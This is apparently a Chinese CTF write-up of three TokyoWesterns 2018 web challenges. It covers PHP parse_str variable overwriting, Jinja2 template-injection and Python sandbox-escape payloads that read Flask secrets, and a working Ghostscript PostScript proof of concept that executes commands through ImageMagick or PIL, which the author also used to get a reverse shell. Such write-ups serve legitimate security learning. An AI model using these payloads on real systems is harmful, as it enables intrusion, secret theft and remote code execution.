@shaobaobaoer
2018-09-08T04:51:35.000000Z
字数 5172
阅读 1860
未分类
之前忙着社团的一些事情,当初这场比赛也没有花很多时间打。这周末有空,决定把当初没有时间做的题目都做一下。
外国的比赛质量明显比某PWN鼎杯好上许多。在此写一下做题记录
<?phprequire_once 'flag.php';if (!empty($_SERVER['QUERY_STRING'])) {$query = $_SERVER['QUERY_STRING'];$res = parse_str($query);if (!empty($res['action'])){$action = $res['action'];}}if ($action === 'auth') {if (!empty($res['user'])) {$user = $res['user'];}if (!empty($res['pass'])) {$pass = $res['pass'];}if (!empty($user) && !empty($pass)) {$hashed_password = hash('md5', $user.$pass);}if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {echo $flag;}else {echo 'fail :(';}}else {highlight_file(__FILE__);}
首先这是 强等号,所以必须满足的条件是
$hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e'
但是很有意思的是,如果我没传递 user pass参数的话,就不会更新 $hashed_password
这里的漏洞来自于 parse_str()
在PHP手册中有明确写出,如果没有第二个参数的话会引起变量覆盖

可以写个东西来验证这个漏洞
<?phpif (!empty($_SERVER['QUERY_STRING'])) {$query = $_SERVER['QUERY_STRING'];$res = parse_str($query);}var_dump($GLOBALS);
如你所见,当我们传入password的时候,实际上password这个变量已经存在了。
http://localhost/test.php?password=123&auth=123'GLOBALS' =>&array< 'query' => string 'password=123&auth=123' (length=21)'res' => null'password' => string '123' (length=3)'auth' => string '123' (length=3)
所以最后的答案就是
http://simpleauth.chal.ctf.westerns.tokyo/?hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e&action=auth>> TWCTF{d0_n0t_use_parse_str_without_result_param}
感觉这道题出的超棒的
参考了 WP
https://ctftime.org/writeup/10895
进去直接给了源码
import flaskimport osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
乍一看这不是python的闭包么?一开始和阿辉看了半天看不懂...感觉自己编程功底还是太差了。
其实这个函数的内容,简化下来是这样【伪代码】
@app.route('/shrine/<path:shrine>')def shrine(shrine):s = {% set config=None%}{% set self=None%} + path..replace('(', ' (').replace(')', ')')return flask.render_template_string(s)
过滤了 ()并把 self 和 config 设置为了 none
不妨先尝试一下 最简单的 ssti注入;确实是可以成功的
http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7B'2'*5%7D%7D>> 22222
config
传入 config
self
传入 {{self.__dict__}}
()
只要找一个有 os 的 subclasses ,可以参考我以前写的东西python 沙箱逃逸总结
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").__dict__.environ['FLAG']().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").__dict__.environ['FLAG']## 作者给的; <type 'dict_keys'> 里本身就有 OS[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']
当config,self,( ) 都被过滤的时候,为了去获得讯息,必须去读一些全局变量。比如说 current_app
比如说这样
__globals__['current_app'].config['FLAG']top.app.config['FLAG']
我看完wp之后感叹,居然还有这样的操作?
首先,介绍一个很牛逼的函数,叫做url_for,可以参考flask的官方文档 flask.url_for
在它引用的内容中,有着 current_app 的全局变量

除此之外,还有函数包含了 current_app ,叫做 get_flashed_messages ,同样,可以参考官方文档 flask.get_flashed_messages

找到了current_app,一切问题就迎刃而解了
GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}orGET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}》》 TWCTF{pray_f0r_sacred_jinja2}
这道题目涉及 ghostscript 漏洞;对此我一点都不知道。日后会将这个洞系统得复现一下。这个洞在 8.21被报道出来,360CERT就将这个洞的细节发表了出来,可以参考 ghostscript命令执行漏洞预警
关于 ghostscript 也可以参考:
https://www.jianshu.com/p/0892b5d37ed0
https://www.anquanke.com/post/id/157513
准确来说,是这样子的:
PIL在对 eps 图片格式进行处理的时候,如果环境内装有 GhostScript,则会调用 GhostScript 在dSAFER模式下处理图片,产生命令执行漏洞。
其实这个漏洞是非常危险的漏洞。导致所有引用ghostscript的上游应用收到影响。 常见应用如下:
imagemagick
libmagick
graphicsmagick
gimp
python-matplotlib
texlive-core
texmacs
latex2html
latex2rtf
当然也包括了 PIL
访问 /source 得到源码
from flask import (Flask,render_template,request,redirect,url_for,make_response,)from PIL import Imageimport tempfileimport osapp = Flask(__name__)@app.route('/')def index():return render_template('index.html')@app.route('/source')def source():return open(__file__).read()@app.route('/conv', methods=['POST'])def conv():f = request.files.get('image', None)if not f:return redirect(url_for('index'))ext = f.filename.split('.')[-1]fname = tempfile.mktemp("emoji")fname = "{}.{}".format(fname, ext)f.save(fname)img = Image.open(fname)w, h = img.sizer = 128/max(w, h)newimg = img.resize((int(w*r), int(h*r)))newimg.save(fname)response = make_response()response.data = open(fname, "rb").read()response.headers['Content-Disposition'] = 'attachment; filename=emoji_{}'.format(f.filename)os.unlink(fname)return responseif __name__ == '__main__':app.run(host="0.0.0.0", port=8080, debug=True)
我尝试上传了一个图片,结果是 500 的错误。
后来按照WP也不能复现,推测是服务器挂了。对此,我只能在本地模拟一下这个漏洞的过程。
对于这个漏洞,有很多套路了。具体可以看看这边
ghostscript: multiple critical vulnerabilities, including remote command execution
我在本地复现了这个漏洞,具体的POC如下
命名一个 shell.jpeg 文件,内容如下(实际上这是postscript)
%!PSuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%id) currentdevice putdeviceprops
随后,给予文件7xx的权限。之后,我们执行convert指令

可以发现shell已经能够成功执行了。
我们可以给予更大的扩展攻击面。比如说反弹shell
我将 id 的部分改为 反弹shell一句话

随后,在我的VPS上接收shell。

如你所见,已经成功执行。
我这里用的是 imagemagick 实际上用PIL也是一样的。
如下所示

当然,如果用PIL的话,是不能直接读上面的那个POC的。我也不知道为何,自己对于 postscript 也不是很了解。wp中是一个 eps 的文件。而上述POC中是一个 PS 格式的文件。
我将 WP 中的poc修改为了自己VPS的地址,它成功执行了。